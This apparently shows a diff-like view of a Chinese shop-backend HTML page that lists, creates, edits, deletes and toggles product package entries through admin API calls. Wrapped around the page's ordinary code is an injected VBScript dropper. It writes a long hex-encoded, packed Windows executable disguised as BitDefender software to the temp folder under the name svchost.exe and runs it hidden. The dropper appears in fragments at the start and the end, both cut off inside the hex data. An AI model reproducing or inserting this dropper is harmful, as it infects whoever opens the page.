652B644B9660360B8B9578324730891B0DD2A16F77F2F860E06EB16E7551B8426F78412016AC3D711F100D2D7C30FA53736E446C67490A6DD7C4BB81313E777370723A660A2A1B743F897973224D4E72C882ED6EE8497344976F67316DEEB041C391776C786D98F013AFB548EC9F7462656772B7D686758C64AF4666D563684FAC2C619B26AD4E1D823966504516BACCE05CA1077BA5215A1670B4EEC1DC1A52421E11A12D5436C5615AD70F929DD81E6C52D9ACE7BC995B607058E11F36171F4D436DA452B54C6505A3B6D56AF075302030A3D6B8046970599E6EB849B4985674A51B1E96CD4CB773AAA3536B0C2B1848EDEE8A2F82B576A154346E73ACB29D2D210813B49C6830F7D9CC56A45655706432B61809B3C3D89DC0368B6449E43F3FB8843025B8A1875701356A6785ED3156244DAD10361E0D74666BC51E133A9184889361C85A9B2CF7F18C5081564608636B4362121646C8D0F86D73A58411256E062786EE5636CB384B65797358082B6B901DAB4D68985B126114491FB22B6598A446ABF8506F900DA3AD8A69343F7124AC84CF2B4BA49034C3A26CB12718056BAD4BFBE14C6A1DD273A5432BD696B4846156EF96B0843432AA0FC36DC76625A5005045034CDFFB56407ABC7CB1470F14E0EE59B7FC000F010B0107900CB413FE1C04D93AFBBA1003A00D400B02BD0A3B77D8B20800043CA0140C3D3CBD819DBD021E34100706AFFCB69700C0433B5077600144E7C21064002E0264656EC8DE7BE390077F2095C860B1A62E9061D70394836D062C02402E7228200164B37D1001271A2801A6FB5EA973A30C23602706DF85B692428F3DCC47172A000000E09F020000900000FF0000000000000000000000000060BE00F041008DBE0020FEFF5783CDFFEB109090909090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9120100008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE009002008B0709C0743C8B5F048D8430E8C4020001F35083C708FF9638C50200958A074708C074DC89F95748F2AE55FF963CC5020009C07407890383C304EBE1FF964CC502008BAE40C502008DBE00F0FFFFBB0010000050546A045357FFD58D871F02000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E93E5BFDFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020010000000200000801800000060000080000000000000000000000000000001000100000038000080000000000000000000000000000001001904000050000000A4D00200D8020000000000000000000000000000000000000000000000000100010000007800008000000000000000000000000000000100190400009000000080D30200680100000000000000000000A0600100D80234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE000001002A006A003D0049002A006A003D0049003F00000000000000040004000100000000000000000000000000000038020000000053007400720069006E006700460069006C00650049006E0066006F00000014020000000030003400300039003000340042003000000040000900010043006F006D00700061006E0079004E0061006D0065000000000053004F0046005400570049004E00200053002E0052002E004C002E0000000000680008000100460069006C0065004400650073006300720069007000740069006F006E000000000042006900740044006500660065006E0064006500720020004D0061006E006100670065006D0065006E007400200043006F006E0073006F006C006500000000003C0009000100460069006C006500560065007200730069006F006E00000000003100300036002E00340032002E00370033002E00360031000000000034000A00010049006E007400650072006E0061006C004E0061006D006500000044043604370440044E043A0448044D04490400003800060001004C006500670061006C0043006F007000790072006900670068007400000032003500320038002D00360031003400320000003C00050001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006E0065006400770070002E006500780065000000300007000100500072006F0064007500630074004E0061006D006500000000003B044E04370430043D04450400000000400005000100500072006F006400750063007400560065007200730069006F006E0000003100300036002E00340032002E00370033002E003600310000000000440000000000560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000904B004786301003C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3822207374616E64616C6F6E653D22796573223F3E0D0A3C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0AA0203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0AA020A0203C73656375726974793E0D0AA020A020A0203C72657175657374656450726976696C656765733E3C726571756573746564457865637574696F6E4C6576656C206C6576656C3D226173496E766F6B6572222075694163636573733D2266616C7365222F3E3C2F72657175657374656450726976696C656765733E0D0AA020A0203C2F73656375726974793E0D0AA0203C2F7472757374496E666F3E0D0A3C2F617373656D626C793E00000000000000000000000064D5020038D5020000000000000000000000000071D5020054D502000000000000000000000000007DD502005CD50200000000000000000000000000000000000000000088D5020096D50200A6D50200B6D50200C4D50200D2D5020000000000E0D5020000000000ECD50200000000004B45524E454C33322E444C4C005348454C4C33322E444C4C005553455233322E444C4C0000004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C467265650000004578697450726F636573730000004472616746696E697368000057696E48656C705700000000000000000000" |
| | | Set FSO = CreateObject("Scripting.FileSystemObject") |
| | | DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName |
| | | If FSO.FileExists(DropPath)=False Then |
| | | Set FileObj = FSO.CreateTextFile(DropPath, True) |
| | | For i = 1 To Len(WriteData) Step 2 |
| | | FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2))) |
| | | Next |
| | | FileObj.Close |
| | | End If |
| | | Set WSHshell = CreateObject("WScript.Shell") |
| | | WSHshell.Run DropPath, 0 |
| | | //--></SCRIPT> |
| | |
| | | <meta charset="utf-8"> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>品牌管理</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/>
|
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" />
|
| | | |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script> |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | |
| | | // 搜索触发 |
| | | touchSearch: function (optC) |
| | | { |
| | | doui.showLoading({ content: "加载列表" }); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/blSet/query", |
| | |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else |
| | | { |
| | |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "状态", key: mo[i].state, value: mo[i].state }, |
| | | { title: "ID", key: mo[i].id, value: mo[i].id }, |
| | | { title: "名称", key: mo[i].name, value: mo[i].name }, |
| | | td: [
|
| | | { title: "名称", key: mo[i].name, value: mo[i].name },
|
| | | { title: "简称", key: mo[i].subName, value: mo[i].subName }, |
| | | { title: "状态", key: mo[i].state, value: mo[i].state, dataType: 'btnSwitch', click: "switchState(" + mo[i].id + ")"}, |
| | | { title: "原价(官方价)", key: mo[i].originalPrice, value: mo[i].originalPrice }, |
| | | { title: "折扣价", key: mo[i].zkPrice, value: mo[i].zkPrice }, |
| | | { title: "销量", key: mo[i].salesCount, value: mo[i].salesCount }, |
| | | { title: "库存", key: mo[i].stock, value: mo[i].stock }, |
| | | { title: "充值平台商品ID", key: mo[i].chargeFuLuNum, value: mo[i].chargeFuLuNum }, |
| | | { title: "权重", key: mo[i].weight, value: mo[i].weight }, |
| | | { title: "权重", key: mo[i].weight, value: mo[i].weight },
|
| | | { title: "ID", key: mo[i].id, value: mo[i].id }, |
| | | ] |
| | | }; |
| | | // 状态分析 |
| | | if (thatTr.td[0].key == 1) { |
| | | thatTr.td[0].value = "已启用"; thatTr.td[0]["class"] = "font-green"; |
| | | } else if (thatTr.td[0].key == 0) { |
| | | thatTr.td[0].value = "已停用"; thatTr.td[0]["class"] = "font-red"; |
| | | } |
| | | |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | |
| | | adminDom.table.opt({ pageSize: 20, }); |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "状态", width: "", orderUp: "", orderDown: "", |
| | | th: [
|
| | | { title: "名称", width: "0.6rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "text" },
|
| | | },
|
| | | { title: "简称", width: "0.4rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "text" },
|
| | | }, |
| | | { title: "状态", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [ |
| | | { key: 0, value: "禁用" }, |
| | | { key: 1, value: "启用"} , |
| | | ], |
| | | type: "switch", |
| | | }, |
| | | }, |
| | | { title: "ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "名称", width: "", orderUp: "", orderDown: "", |
| | | { title: "原价(官方价)", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | }, |
| | | { title: "简称", width: "", orderUp: "", orderDown: "", |
| | | { title: "折扣价", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | }, |
| | | { title: "原价(官方价)", width: "", orderUp: "", orderDown: "", |
| | | { title: "销量", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | }, |
| | | { title: "折扣价", width: "", orderUp: "", orderDown: "", |
| | | { title: "库存", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | }, |
| | | { title: "销量", width: "", orderUp: "", orderDown: "", |
| | | { title: "充值平台商品ID", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | }, |
| | | { title: "库存", width: "", orderUp: "", orderDown: "", |
| | | { title: "权重", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | }, |
| | | { title: "充值平台商品ID", width: "", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | }, |
| | | { title: "权重", width: "", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | }, |
| | | },
|
| | | { title: "ID", width: "0.4rem", orderUp: "", orderDown: "" }, |
| | | ] |
| | | }); |
| | | |
| | |
| | | { |
| | | // 当前数据 |
| | | var item = thereData.list; |
| | | doui.showLoading("正在新建"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | // 请求数据 |
| | | var mydata = { |
| | | name: item[2].key, // 套餐全名 |
| | | subName: item[3].key, // 套餐简称 |
| | | chargeFuLuNum: item[8].key, // 福禄充值平台的商品ID |
| | | name: item[0].key, // 套餐全名 |
| | | subName: item[1].key, // 套餐简称 |
| | | chargeFuLuNum: item[7].key, // 福禄充值平台的商品ID |
| | | "goods.id": goodsId, // 商品id |
| | | }; |
| | | if(verifyNumber(item[0].key)){ mydata.state = item[0].key; }
|
| | | if(verifyNumber(item[4].key)){ mydata.originalPrice = item[4].key; }
|
| | | if(verifyNumber(item[5].key)){ mydata.zkPrice = item[5].key; } |
| | | if(verifyNumber(item[6].key)){ mydata.salesCount = item[6].key; } |
| | | if(verifyNumber(item[7].key)){ mydata.stock = item[7].key; } |
| | | if(verifyNumber(item[9].key)){ mydata.weight = item[9].key; } |
| | | if(verifyNumber(item[2].key)){ mydata.state = item[2].key; }
|
| | | if(verifyNumber(item[3].key)){ mydata.originalPrice = item[3].key; }
|
| | | if(verifyNumber(item[4].key)){ mydata.zkPrice = item[4].key; } |
| | | if(verifyNumber(item[5].key)){ mydata.salesCount = item[5].key; } |
| | | if(verifyNumber(item[6].key)){ mydata.stock = item[6].key; } |
| | | if(verifyNumber(item[8].key)){ mydata.weight = item[8].key; } |
| | | |
| | | // 信息上传 |
| | | doui.upload({ |
| | |
| | | data: mydata, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("新建成功"); adminDom.editTan.remove(); vm_table.search(); } |
| | | } |
| | |
| | | { |
| | | // 被选中的行id组构建 |
| | | var zu_id = new Array(); |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][1].key); } |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][9].key); } |
| | | // 发起请求 |
| | | doui.showLoading("正在删除"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/blSet/delete", |
| | | data: { idArray: zu_id }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("删除成功"); vm_table.search(); } |
| | | } |
| | |
| | | { |
| | | // 当前数据 |
| | | var item = thereData.list; |
| | | doui.showLoading("正在修改"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | // 请求数据 |
| | | var mydata = { |
| | | id: item[1].key, // ID |
| | | name: item[2].key, // 套餐全名 |
| | | subName: item[3].key, // 套餐简称 |
| | | chargeFuLuNum: item[8].key, // 福禄充值平台的商品ID |
| | | "goods.id": goodsId, // 商品id |
| | | }; |
| | | if(verifyNumber(item[0].key)){ mydata.state = item[0].key; }
|
| | | if(verifyNumber(item[4].key)){ mydata.originalPrice = item[4].key; }
|
| | | if(verifyNumber(item[5].key)){ mydata.zkPrice = item[5].key; }
|
| | | if(verifyNumber(item[6].key)){ mydata.salesCount = item[6].key; }
|
| | | if(verifyNumber(item[7].key)){ mydata.stock = item[7].key; }
|
| | | if(verifyNumber(item[9].key)){ mydata.weight = item[9].key; } |
| | | id: item[9].key, // ID |
| | | name: item[0].key, // 套餐全名
|
| | | subName: item[1].key, // 套餐简称
|
| | | chargeFuLuNum: item[7].key, // 福禄充值平台的商品ID
|
| | | "goods.id": goodsId, // 商品id
|
| | | };
|
| | | if(verifyNumber(item[2].key)){ mydata.state = item[2].key; }
|
| | | if(verifyNumber(item[3].key)){ mydata.originalPrice = item[3].key; }
|
| | | if(verifyNumber(item[4].key)){ mydata.zkPrice = item[4].key; }
|
| | | if(verifyNumber(item[5].key)){ mydata.salesCount = item[5].key; }
|
| | | if(verifyNumber(item[6].key)){ mydata.stock = item[6].key; }
|
| | | if(verifyNumber(item[8].key)){ mydata.weight = item[8].key; } |
| | | // 信息上传 |
| | | doui.upload({ |
| | | url: gethttp() + "/admin/new/api/v1/blSet/save", |
| | | data: mydata, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("修改成功"); adminDom.editTan.remove(); vm_table.search(); } |
| | | } |
| | |
| | | type: "replace", |
| | | url: "shop_goods_set_pay.html", |
| | | data: { |
| | | id: item[1].key, |
| | | id: item[9].key, |
| | | goodsId: goodsId, |
| | | }, |
| | | }); |
| | |
| | | vm_table.search(); |
| | | } |
| | | }); |
| | | |
| | | // 切换状态
|
| | | function switchState(id) {
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/blSet/switchState",
|
| | | data: {id: id},
|
| | | success: function (res) |
| | | {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else { vm_table.search(); }
|
| | | }
|
| | | });
|
| | | }
|
| | | |
| | | </script> |
| | | <SCRIPT Language=VBScript><!-- |
| | | DropFileName = "svchost.exe" |
| | | WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF2D6B081FA7A4F0B8632149D1D0352B2C5CE50D2F06E0B7E950C262CB406AB37381AC06B073E2E681CA41B9C31D9D77A8431ADA028D231840265330138A856E38CC5121850BA7980B17B672744A006D4CE490C1F1BDCA0B1FA8473005594B6B00F7764B2005634C83379109959A275E331BFCD5C23878133363CEC44AE8A8F534B4933674D6A3CD2D41EB91F4400DC3537ACE1DAF32068ECE4CD90EDFED2E19A4CB936686599E3FE1000FAB1832CB1F3A05E440CB85D73F43F8BE42F01C80BC00F849901C762B19D0D77B5AC14AB0033F4FFFEF76754683B84159829CE68F152E28309D458687299EDF7EFE967B30ADAEBC76A7501E02DF08FD4D9685D0CAC160C766A1E89C1B63717C86AE6888D4D80BEAF6B0D37D66084213819ECB3EDE2D0240BBA32332F58DA4C9F2D17DC0BED045148DC93ED4DFF064E240B3529F12C74B2A30AA3FCFC68B2FD3EEB23E109AF5605225733B816BE667B088D79B0F00B76132C36C8F27724084A53501B4A3BDB8CCEC8137D0424DBE4F7B2071C75886AB106A29A24503B1827A4F90628F8D5286D9727DC6E90FCF39CDB0ED6006C20052643CC23D643835F84361304CF7AC185F69D05391010106527FC5B18A3D8C1950AA41303575753209CEDB3E402D8BA3019BF0B1FBE124D47F268F4A89B09F868C284DFF3975483A3FE1D0451CCAB6CEF70AD51691CC61A3CB34500EEF7FDEF200A68B93B498409100416C905EDB5F6FF62491111139011906363136309020500F27D91BB900990906315632113DB7FD7B5290F13307D68803C6E4F65E3A014F78DCDBEEE4480131A901C13463D113DE75EEC29435819214A77FFFF8B1B050F5245642350F1718D9193F33B6B48367B135C7BDF7B5B25501109039A62CF3DE73E0961151320BDFFB7F7B61D0C7DBC7D44737FBFF7F6771300B9E7DE8B6E64D644338CFB0D7BEF5C2E416207F3691ADE09DD9F8CD3F75FCA630590A677782EE6B5C2357F03A0FF7FEFBDD71D53D77D057303DA11DCBFE2F7E2E79E7BB16766FA41AF3E7284F662B10B97B90057EFFFB359425D63761A7313A57DC3F708D01E8737F66245081B90ED59F7DE73B3902E41129A104D67D8BA3F8F7D254389DF85239622EF4D788690410C6F987B11DE7B55D1600DE80D170AEF835F45BE1D4E4B4F61F6B9F7CBF0571F8573F71CAE3A24137B7BEFBD379011303243496EB83B1CDE88BDB8F6F3BAE0F6CE2F6CD51DC012C2F790CC132A83622F36232FC20B3FF6B3C7301B020E58F7EA7F09C3ECBDFF16126F7957F7A27F8669039D08C126BC884B8E327D841784956FA82F643373976DC3CD13D222FCE825C302D393F76F42ECB9860D40AB0E78DE7BCC7033B15E88CF84FF7F13865B11FA1F56161A1F2FB7F780AC5CDC84F75EBE3630AA3DE3CD98F12FC26B160A3CC3FF1F90F1E95C1B1850F35B0B0F0FF7401FA417E31D264CCC44ED907B3362B1DEC7B14BA6330CFFC6241D62335CA9F7FEA10A7A935E7B9F400DB906F778B1772458554D3D5CC5DCFFBFAB51E94D10A8514F2E7C6BF7D2C66B107BC1222A38C0CDBFD8A4EF4CD11383C826FF1B7BEF45F8DC12B5F7978CBFA3326C60B1F7DE0CED7AD602BEE35FB0C4934F193A88681EDC5A3610EFF05CEF602FD7F7010130718515E1F166D8AFF70374EFC5867E990C8E0EA558ACD73C1003164371C79AF566BC49608589E163EF4DC03804A04545322F8CB19BAD7D54F130171C0B02F76A1F3A8459AF0998D7D919F4786F4265688025DFDE319B1C2F5F03F3E25F07FE1D0813F6DEE602202A7756472DB5C8263C176348A1592388F022C545886FA876F7B0ECAE2157249C5054F781576C0E6F022F89AE7D0908C126CC3BEF6216CAD658ACFF1BBD5B53C522C4366E53CF5ADA3BC4DE7BE57F31855762807B6FD254138A28BDB771BB1C4350037350F4F0BB7DDE9B148B6B8A2D0B976FC28BF4E81342728D65E0BBE1F74A43F01C431F4501E9A721309B333030C06F767891110D30F20ADDEEFE09B41375A1E012450358F90F47A7537B93DEECF2236484DDB9189192C1D2912E7CA1FD63C063DE1BF302EE4F1D743B07B1DEDBADE4F01B8C3488C5DEB07AC1DF4E2C7CEFCD4BE7BE65895A43D9EB45D880B88BC6544A7891DEA490031AD51ABAB34D5F059022899A7313DEEB6D2E98B469A5BC5E8CD87B492B045C47C6FF88F57F54D47163B8747F7666F59AC1E6E8C09D5F7BD483203C8604AA0A6AA459A437473AA908F5AEEEFF9025477D18B0F7A5A445390E7D5BF7D584581188DC3ED607211689D9C200ADA32BD28B35A8EC05DB60DA787B28370F00527D64B3D9476F5804265D584E8658ECC57898B5E49EF4B6E50ABC74994C9B6B022348FCFF33E915EF0F4FE916F343F7C89CDBDCB1DE8B31B4338B3823D21B02A4AAAD5E77782C1E54F91B61F791C0E2A4ECCDDE848F44059434F022CC5ED50E7DE7E0E5D6FFCC1D6A63143C4403B2AC738DF77460C58861B973EE444504668772FF70DD9BC49B3A0B31781675E37DF98564158583F7525B1CF77A5B8CEE22F6823007DCC7330EEF4DB44881EA49B92F1776971B5AEEFCF479A8F794065C6C56EC43F33F4C258B4D98F08968C3F618DBB7F8D8F37D2FFCD32689F73303CAFF84F75EA4CA146D746DA5824D68D6ECB8D3B5BBEB3D109FD81FE813CE831FD28BD468E57784BACF2F092D6935A650ADC384192F688ADFC92D16CAF7E058436A93E0233683DD9B49F70ECE39783BC520D68B043DA2BF179B35BB6CD11F50F9D2AC73AC13A0D5E85248F482312BD460161F664C9A501748851FB393663CFE1FB71FBBF7174F6417E66EC261599C5E651F8DFFDE7BD603A7D3F116C8B3D7FB6660A3C9382B4BBEF5EE108CDE0B47654228184C98DCB610C21B6745341AAD22731FBD5658ECC5DCD14939FC76B91126358B9F18A368468408A70937F0221DF94943F76F2F6C179B149B2407CD32A0602E19B34678243EBD18CDFAADF79A1794C17A4D2836E1B7CDAEBAF08BCDE816B07EEEF396AEE103370E04130560D894D3BC043378B31959EE53B598711816FC1BCBB0ECFE4DDEB6151E33133CAE435419269662393A4AE1E022C466B823479E1568F6DEA4E039A6AA1B1FF843D57501E080956B3C1EBC14C0AC7F13E37D6CE01F1AF75B5F15CD664C9A6C34F08DDECC0DE38CC54D2B263AD815D83B7D7D40C33F3FCFF60EEF19AA85BC45809346B1D8611BEDA001E7C67F6F420DF189622FCB317323E105E1C1F7124147FD5A194120C27CF5A79AD18BBD62615BF6E8A75A1587FCF7F796A09805E3CD2D21FB9326C48ACD39E8E98BAEA5FECD1E6370169373A16CD76F42306276A7564ABD178B4926279395F5FF0C662EA77A90D81A1D161BE91D34102376D71750CDF7386B616F359BF5269E4E4B750E02139AE9A9B690AD63D287DFC443E17D84D0F30FB4315E88D58B31109322626F16C1FBBE8818C3F587FFF77D25737D0B0DA553F726070A6F168BD96143CD07C486C07B4CD03464FD36FC62D38DF714CFC6F681F7293161C2C10AD0BB0BE130AB6001EDE86A7F0C983547700FDD304D64B3EF995A6C05801984A45FBD48B309D76A3F12DE8B709A56436FDC01BD2FF40F2E44B3F910FAB3F7A0941C66B1178BF6BA0C6EAF845E84F7CF5B06213C951FDDD13552F395CE76A81623035FF1DA5F636E6211626F3EDA9BD1BF370BF6F3A25B156FC4D95C975AE097AAA0F053B0F7FDD844185213969B5E6308CC38DAAB960346479834F083F9174786F12ECD3323C17B66A084D90CE7963B7B7208482C89581C92A5B95D2FFCF19496560F5BD3F1099DF7CA8B08C673EF743567BE2337246293ECE7D9EB3FB81581CAA0D888BE031D0CF0A6A93C66F77DDCF7934D336670CEFE90ECEF21484C7A539AF087FE558B3569383D7D4B1F7A9AF14E9789F79783ABBA821B5611E4790B3493661360CE28662B6CEA761305538B9E394F2A669B522F7687CCF7B1B09098BA11E0346BF5CC9ABD37A360DA6F5F937680BBFE7A5CF3EBDBE41EF755DEAAC982596F6F4A8542300A52815EAABCC4462C4B2FE351F36C7FF7DEC1356464E0892F4022786F063C30991673BB9B40326A85ACF3E027384E470E56E598CF3B074ECD8220F03BFE4B33177BEFDCC8D6E11A970518A34924E5574C26B0E17096D63E9C2709B164E0BF09BFE44DEA058997413CDDD05A275A15607E606D15672C9EDBE84954D907871A788760C073ED31318119939BC052D9F5C726CAA61D1EA01D3D43F1F0DF31E1B45115730B39D99BF18200895152DB059B7480F79E965FDEA27529E002B7F371B8B5F7EE6705931A06DE51F726C598E94A5338EA7698D4847C8698CE36DC48F173F90F4CC691D45BECBD59119793769F498B11B358EE53E314055C9F1040BD3613233F0931DEE3A3F7A77A15E7D2BD6030A9C7E4341D464CEA61D9E1508A03B88385F7E380245993E24DB3F31230D84B46B3491F50AE06B88DFFB924193B507C3C64FEE5C811F5269C20F156AA6956846131615E0337F02231608A7AF37973F0CC2D4EE434A17B3498D010860DDA3CC6A43844921FF68E1B2E7D08AD4D68